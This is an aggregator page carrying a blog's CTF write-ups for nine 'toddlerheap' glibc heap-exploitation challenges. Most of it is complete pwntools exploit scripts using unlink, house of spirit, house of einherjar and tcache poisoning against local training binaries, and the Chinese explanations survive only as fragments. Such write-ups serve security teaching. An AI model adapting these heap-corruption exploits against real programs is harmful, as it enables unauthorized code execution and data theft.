惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

IT之家
IT之家
Engineering at Meta
Engineering at Meta
腾讯CDC
宝玉的分享
宝玉的分享
H
Help Net Security
I
InfoQ
博客园 - Franky
The GitHub Blog
The GitHub Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Microsoft Security Blog
Microsoft Security Blog
M
MIT News - Artificial intelligence
博客园_首页
美团技术团队
Recent Announcements
Recent Announcements
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
雷峰网
雷峰网
The Cloudflare Blog
博客园 - 司徒正美
Vercel News
Vercel News
MyScale Blog
MyScale Blog
人人都是产品经理
人人都是产品经理
爱范儿
爱范儿
月光博客
月光博客

Entropic

Inspect: Read the Bits :: Entropic NETGEAR EXS27 NGR LAN-side Pre-auth Command Injection in llmnrd via LLMNR Query Name :: Entropic ANSI Ink for Philes :: Entropic NETGEAR EXS27 NGR Pre-auth Administrator Takeover Chained to Root SSH Shell via Configuration Restore :: Entropic NETGEAR EXS27 NGR Pre-auth debug.cgi Archive Sensitive Information Disclosure :: Entropic Let's Decrypt NETGEAR EXS27 NGR Firmware V1.0.1.34! :: Entropic NETGEAR EXS27 NGR Local-LAN/L2 Pre-auth Command Injection in Root-started devProbe via DHCP Option 12 Hostname :: Entropic CVE-2017-9048: libxml2 :: Entropic CVE-2016-9297: LibTIFF :: Entropic CVE-2017-13028: TCPdump :: Entropic Fuzz two legacy CVEs in libexif :: Entropic CVE-2019-13288: Xpdf :: Entropic The Fuzzy Notebook :: Entropic Write-ups: Pwnable.tw :: Entropic Write-ups: System Security (Microarchitecture Exploitation) series :: Entropic Intel Control-flow Enforcement Technology Bypass :: Entropic Write-ups: 0xL4ugh CTF v5 :: Entropic 此地不宜调试 :: Entropic 梅花易数札记 :: Entropic Write-ups: ARM Architecture (ARM64 ROP) series :: Entropic The Cross-ISAs Notebook :: Entropic 2025 年终总结 :: Entropic Write-ups: System Security (Kernel Security) series (Completed) :: Entropic Write-ups: BlackHat MEA CTF Final 2025 :: Entropic Write-ups: Software Exploitation (Exploitation Primitives) series (Completed) :: Entropic Sapido RB-1732 路由器 RCE 漏洞 :: Entropic Write-ups: Software Exploitation (File Struct Exploits) series (Completed) :: Entropic Write-ups: 第八届「强网」拟态防御国际精英挑战赛-线上预选赛 :: Entropic Write-ups: 第九届「强网杯」全国网络安全挑战赛 :: Entropic Write-ups: 2025 年「羊城杯」网络安全大赛初赛 [本科院校组] :: Entropic
Write-ups: Software Exploitation (Dynamic Allocator Explo...
CuB3y0nd · 2025-10-17 · via Entropic
# 

 FSOP IoT realworld 

# Level 1.0

## Information

- Category: Pwn

## Description

> Leverage consolidation to obtain the flag.

## Write-up

 tcache fastbin 
 malloc  smallbin  chunk  `malloc_consolidate`
 fastbin  top chunk `read_flag`  fastbin  free 
 free  puts UAF 


## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/toddlerheap_level1.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("/challenge/lib/libc.so.6")


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    for i in range(7):
        malloc(i, 0)

    malloc(7, 0)

    for i in range(7):
        free(i)

    raw_input("DEBUG")
    free(7)
    read_flag()
    puts(7)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 2.0

## Information

- Category: Pwn

## Description

> Leverage consolidation to obtain the flag.

## Write-up

```c
    if ( strcmp(s1, "read_flag") )
      break;
    for ( i = 0; i <= 1; ++i )
    {
      printf("[*] flag_buffer = malloc(%d)n", 1434);
      size_4 = malloc(0x59Au);
      printf("[*] flag_buffer = %pn", size_4);
    }
    fd = open("/flag", 0);
    read(fd, size_4, 0x80u);
    puts("[*] read the flag!");
  }
```

 `read_flag`  mallocflag  malloc 


 malloc  chunk  unsorted bin 
 flag  chunk 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level2.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def calloc(idx, size):
    target.sendlineafter(b": ", b"calloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    for i in range(7):
        malloc(i, 0)

    for i in range(7):
        free(i)

    calloc(0, 0x59A)
    calloc(1, 0x59A)
    calloc(2, 0)
    free(1)
    free(0)
    raw_input("DEBUG")
    read_flag()
    puts(1)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 3.0

## Information

- Category: Pwn

## Description

> Leverage consolidation to obtain the flag.

## Write-up

 malloc  `> 0x41F` `read_f
lag` 使 malloc  `0x390` chunk


 malloc  chunk consolidation  malloc 
 `tcachebins -> fastbins -> smallbins -> unsorted bins -> ...` 
 `> 0x41F`  chunk `tcachebins``fastbins`  `sma
llbins`  malloc  `unsorted bins`
 bin ……

 `[free chunk with controled idx][guard][free chunk with contr
oled idx][guard]...`  11 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level3.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    for i in range(12):
        # raw_input("DEBUG")
        malloc(i, 0x420)
        # raw_input("DEBUG")
        malloc(15, 0x420)

    for i in range(12):
        # raw_input("DEBUG")
        free(i)

    read_flag()
    puts(11)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 4.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

 unlink 2.41  2.42 


 unlink  [Doubly Linked, Doubly Doomed](/posts/pwn-notes/pwn-t
rick-notes/#doubly-linked-doubly-doomed) 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./toddlerheap_level4.0_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b": ", b"safe_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag():
    target.sendlineafter(b": ", b"send_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0xBB8 * 3)
    free(0)
    malloc(15, 0xBB8)  # guard

    malloc(1, 0xBB8)
    malloc(2, 0xBB8)

    payload = flat(
        b"A" * 0xBB0,
        0,
        0xBC1,
        0,  # prev_size
        (0xBC0 - 0x10) | 0x1,  # chunk_size
        0x404130,  # fd
        0x404138,  # bk
        0,  # fd_nextsize
        0,  # bk_nextsize
        b"A" * 0xB80,
        0xBC0 - 0x10,  # prev_size
        0xBC1 & ~0x1,  # chunk_size
    )
    raw_input("DEBUG")
    safe_read(0, payload)
    free(2)

    payload = flat(
        b"A" * 0x98,
        0x1,
    )
    raw_input("DEBUG")
    safe_read(1, payload)
    send_flag()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 5.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

 unlinkunlink  `alloc_struct`  mal
loc  flag 
 malloc  flag  overlapping chunks 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level5.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def read(idx, size, data):
    target.sendlineafter(b": ", b"read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())
    target.send(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x420)
    malloc(1, 0x420)
    malloc(2, 0x420)

    payload = flat(
        0,
        0x420,
        0x404148 - 0x18,
        0x404148 - 0x10,
        0,
        0,
        b"A" * 0x3F0,
        0x420,
        0x431 & ~0x1,
    )
    # raw_input("DEBUG")
    read(1, 0x430, payload)
    free(2)

    payload = flat(
        b"A" * 0x10,
    )
    # raw_input("DEBUG")
    read(1, 0x1337, payload)
    puts(1)

    target.recvuntil(b"Data: " + b"A" * 0x10)
    heap = int.from_bytes(target.recvline().strip(), "little")
    overlapping_chunksize = heap - 0x890
    overlapping_chunk = heap - 0x880
    target.success(f"heap: {hex(heap)}")

    payload = flat(
        0,
        0,
        overlapping_chunksize,
    )
    # raw_input("DEBUG")
    read(1, 0x1337, payload)

    payload = flat(
        0,
        0x881,
    )
    # raw_input("DEBUG")
    read(0, 0x1337, payload)

    payload = flat(
        0,
        0,
        overlapping_chunk,
    )
    # raw_input("DEBUG")
    read(1, 0x1337, payload)
    free(0)

    malloc(5, 0x870)
    # raw_input("DEBUG")
    read(5, 0x1337, flat(b"A" * 0x440))
    puts(5)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 6.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

house of spirit  free chunk calloc  chunk 
 calloc  chunk 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level6.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def calloc(idx, size):
    target.sendlineafter(b": ", b"calloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safer_read(idx, data):
    target.sendlineafter(b": ", b"safer_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.send(data)


def read_to_global(size, data):
    target.sendlineafter(b": ", b"read_to_global")
    target.sendlineafter(b"read_size: ", str(size).encode())
    target.send(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"Reading the flag into ")
    flag = int(target.recvline().strip()[:-1], 16)

    for i in range(7):
        calloc(i, 0)
        free(i)

    calloc(0, 0x10)
    calloc(1, 0x10)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))

    target.success(f"flag: {hex(flag)}")
    target.success(f"pos: {hex(pos)}")
    target.success(f"heap: {hex(heap)}")

    payload = flat(
        {
            0x2E0: 0,
            0x2E8: 0x21,
            0x2F0: b"A" * 0x8,
        }
    )
    # raw_input("DEBUG")
    read_to_global(0x1337, payload)
    # raw_input("DEBUG")
    safer_read(0, flat(mangle(pos, flag - 0x28)))

    calloc(0, 0x18)
    raw_input("DEBUG")
    calloc(1, 0x18)
    raw_input("DEBUG")
    safer_read(1, b"A" * 0x18)
    puts(1)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 7.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

 calloc  flag  chunk
 bss bss  size  flag 
 flag chunk  chunk_size calloc 
 chunk 

 bss  size  flag  bss 
 heap 


```asm showLineNumbers=false {8-10}
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefe
r-relpaths on)
    0x557a0689e000     0x557a0689f000 r--p     1000      0 toddlerheap_level7.0_
patched
    0x557a0689f000     0x557a068a0000 r-xp     1000   1000 toddlerheap_level7.0_
patched
    0x557a068a0000     0x557a068a1000 r--p     1000   2000 toddlerheap_level7.0_
patched
    0x557a068a1000     0x557a068a2000 r--p     1000   2000 toddlerheap_level7.0_
patched
    0x557a068a2000     0x557a068a3000 rw-p     1000   3000 toddlerheap_level7.0_
patched
    0x557a068a3000     0x557a068a7000 rw-p     4000   5000 toddlerheap_level7.0_
patched
    0x557a3c52b000     0x557a3c54c000 rw-p    21000      0 [heap]
```

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level7.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def calloc(idx, size):
    target.sendlineafter(b": ", b"calloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safer_read(idx, data):
    target.sendlineafter(b": ", b"safer_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.send(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"Reading the flag into ")
    flag = int(target.recvline().strip()[:-1], 16)

    for i in range(7):
        calloc(i, 0)
        free(i)

    calloc(0, 0)
    calloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))

    target.success(f"flag: {hex(flag)}")
    target.success(f"pos: {hex(pos)}")
    target.success(f"heap: {hex(heap)}")

    calloc(10, 0x20)
    calloc(0, 0x10)
    calloc(1, 0x10)
    free(1)
    free(0)

    payload = flat(
        mangle(pos, flag - 0x28),
    )
    raw_input("DEBUG")
    safer_read(0, payload)

    calloc(0, 0x10)
    # raw_input("DEBUG")
    calloc(0, 0x18)

    raw_input("DEBUG")
    safer_read(0, b"A" * 0x18)
    puts(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 8.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

 largebin attack house of einherjar……~~einherj
arE (FLAGS) in her jar !~~

 largebin attack 
 house ……

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level8.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def read_copy(idx, data):
    target.sendlineafter(b": ", b"read_copy")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.send(data)


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    malloc(0, 0)
    malloc(1, 0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))

    target.success(f"pos: {hex(pos)}")
    target.success(f"heap: {hex(heap)}")

    flag = heap + 0x8C0
    fake_chunk = heap + 0x20

    malloc(0, 0x38)
    malloc(1, 0x28)
    malloc(2, 0xF8)

    payload = flat(
        0,
        0x60,
        fake_chunk,
        fake_chunk,
    )
    # raw_input("DEBUG")
    read_copy(0, payload)

    payload = flat(
        b"A" * 0x20,
        0x60,
    )
    # raw_input("DEBUG")
    read_copy(1, payload)

    for i in range(7, 14):
        malloc(i, 0xF8)

    for i in range(7, 14):
        free(i)

    # raw_input("DEBUG")
    free(2)

    malloc(3, 0x158)
    malloc(4, 0x28)
    free(4)
    free(1)

    payload = flat(
        b"A" * 0x20,
        0,
        0x31,
        mangle(pos, flag),
    )
    # raw_input("DEBUG")
    read_copy(3, payload)

    # raw_input("DEBUG")
    malloc(0, 0x28)
    malloc(0, 0x28)
    # raw_input("DEBUG")
    read_flag()
    puts(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 9.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

free  size  ptr unsorted bin  chunk  t
cache  unsorted bin  overlapping  tcache  fd 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level9"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safer_read(idx, data):
    target.sendlineafter(b": ", b"safer_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.send(data)


def send_flag():
    target.sendlineafter(b": ", b"send_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    authenticated = 0x404260

    malloc(0, 0x10)
    malloc(1, 0x10)
    free(1)
    free(0)
    malloc(1, 0x10)
    malloc(0, 0x10)

    puts(0)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(1)
    target.recvuntil(b"Data: ")
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))

    target.success(f"pos: {hex(pos)}")
    target.success(f"heap: {hex(heap)}")

    for i in range(7, 14):
        malloc(i, 0x100)

    malloc(0, 0x100)
    malloc(1, 0x100)
    malloc(15, 0x10)  # guard

    for i in range(7, 14):
        free(i)

    free(1)
    free(0)

    malloc(0, 0x100)
    free(1)

    malloc(0, 0x210)
    payload = flat(
        {
            0x108: 0x111,
            0x110: mangle(pos, authenticated),
        }
    )
    # raw_input("DEBUG")
    safer_read(0, payload)

    malloc(0, 0x100)
    malloc(0, 0x100)
    safer_read(0, b"A")
    send_flag()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```